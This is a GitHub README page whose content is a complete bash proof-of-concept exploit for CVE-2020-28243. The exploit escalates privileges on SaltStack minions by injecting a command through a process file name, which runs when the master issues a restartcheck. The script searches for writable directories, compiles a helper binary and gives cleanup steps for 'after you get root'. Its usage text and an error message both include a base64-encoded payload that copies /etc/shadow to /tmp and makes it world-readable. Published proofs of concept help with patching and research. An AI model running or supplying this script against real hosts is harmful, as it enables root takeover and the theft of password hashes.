README.md
Rendering markdown...
#!/bin/bash
usage ()
{
cat <<EOF
CVE-2020-28243: This script performs a local privilege escalation on a SaltStack minion by creating a process with a command injection in the process name and referencing a file descriptor with a filename that ends in ' (deleted)' and is not in a forbidden directory. The command injection is triggered whenever a restartcheck is requested by the master.
Author: Mat Rollings (@stealthcopter)
Link: https://github.com/stealthcopter/CVE-2020-28243
Usage: ./${0##*/} -w PATH -c 'COMMAND'
-w PATH writable path (and not blocked by SaltStack)
-c COMMAND command to execute
If the script is run with no arguments, it will search for a suitable writable directory.
examples:
# Find a writable directory
./${0##*/}
# PoC touch a file
./${0##*/} -w /var/crash -c 'touch hacked'
# Copies /etc/shadow to /tmp, using base64 to avoid issue with filenames not allowing /'s
./${0##*/} -w /var/spool/samba -c 'echo Y2F0IC9ldGMvc2hhZG93ID4gL3RtcC9zaGFkb3c7Y2htb2QgNzc3IC90bXAvc2hhZG93|base64 -d|bash -i'
EOF
exit 1
}
# Paths that SaltStack blocks
BLOCKED_PATHS="^/var/log\|^/var/local/log\|^/var/run\|^/var/local/run\|^/tmp\|^/dev/shm\|^/run\|^/drm\|^/var/tmp\|^/var/local/tmp\|^/dev/zero\|^/dev/pts\|^/usr/lib/locale\|^/home\|^.*icon-theme.cache\|^/var/cache/fontconfig\|^/var/lib/nagios3/spool\|^/var/lib/nagios3/spool/checkresults\|^/var/lib/postgresql\|^/var/lib/vdr\|^/\[aio\]\|^/SYSV"
# Paths that we block as they are unsuitable as we cant actually write there or is a non standard fs.
UNSUITABLE_PATHS="^/proc/\|^/sys/fs/\|^/var/lib/lxcfs/\|^/dev/mqueue"
find_writable_paths ()
{
find / -writable -type d 2>/dev/null | grep -v "$BLOCKED_PATHS\|$UNSUITABLE_PATHS"
}
create_helper ()
{
if [ -f "helper" ]; then
echo "Helper binary exists"
return
fi
cat << EOF > helper.c
#include <stdio.h>
#include <unistd.h>
void main() {
FILE *fp = fopen (" (deleted)", "w+");
sleep(9999999);
fprintf(fp, "1 SaltStack Local Priv Esc Please");
fclose(fp);
}
EOF
if command -v gcc &> /dev/null
then
echo "Compiling helper"
gcc helper.c -o helper
rm helper.c
else
echo "Error: gcc not found, please compile helper program and copy over"
fi
}
while getopts ":hw:c:" opt; do
case $opt in
w) WRITABLE_PATH="$OPTARG"
;;
c) COMMAND="$OPTARG"
;;
h) usage
;;
\?) echo "Invalid option -$OPTARG" >&2
;;
esac
done
echo -e "################## SETUP #######################"
if [ -z "$WRITABLE_PATH" ]
then
echo "Searching for writable paths"
find_writable_paths
echo -e "\nNo writable path was no supplied (-w /var/lib/php/sessions), the above paths are writable by the current user"
exit
fi
if [ -z "$COMMAND" ]
then
echo -e "No command provided, using default"
COMMAND="touch hacked"
fi
create_helper $WRITABLE_PATH
if [ ! -f "helper" ]; then
echo "Error: helper binary does not exist"
exit 1
fi
echo -e "\n################## CONFIG #######################"
echo "Writable Path: $WRITABLE_PATH"
echo "Command: $COMMAND"
echo -e "\n################## EXPLOIT ######################"
if [[ $COMMAND == *"/"* ]];then
echo "Error: Cannot use / in commands when using the filename method\nWhy not try base64 like dis (copies shadow file to /tmp):"
echo "echo Y2F0IC9ldGMvc2hhZG93ID4gL3RtcC9zaGFkb3c7Y2htb2QgNzc3IC90bXAvc2hhZG93|base64 -d|bash -i"
exit 1
fi
FILENAME=";$COMMAND"
# Move helper into writable path
mv "helper" "$WRITABLE_PATH/$FILENAME"
echo "Running: $WRITABLE_PATH/$FILENAME"
cd "$WRITABLE_PATH"
"./$FILENAME" &
EXPLOIT_PID=$!
# Test if we were successful
echo -e "#################### TESTS ########################"
echo -e "Exploit completed, lets test if it looks good:"
echo -e "Exploit PID: $EXPLOIT_PID"
echo -e "You should see command injection as the process name below:"
ps -aux | grep "$EXPLOIT_PID" | grep -v "grep"
echo -e "\nThe process should hold a file descriptor to a file ending with ' (deleted)'"
ls -lah "/proc/$EXPLOIT_PID/fd/" | grep " (deleted)"
# Wait for restart to occur
# This can be triggered from master using: `salt '*' restartcheck.restartcheck`
echo -e "\nIf everything looks good above, then we just need to wait for a restartcheck to be triggered on the master"
echo -e "This can be done using the following command on master: "
echo "salt '*' restartcheck.restartcheck"
echo -e "\n################## CLEANUP ######################"
echo "Deleting helpers binary"
rm "$FILENAME"
echo "Remember to kill the process and delete the left over file after you get root"
echo "kill $EXPLOIT_PID"
echo "rm '$WRITABLE_PATH/ (deleted)'"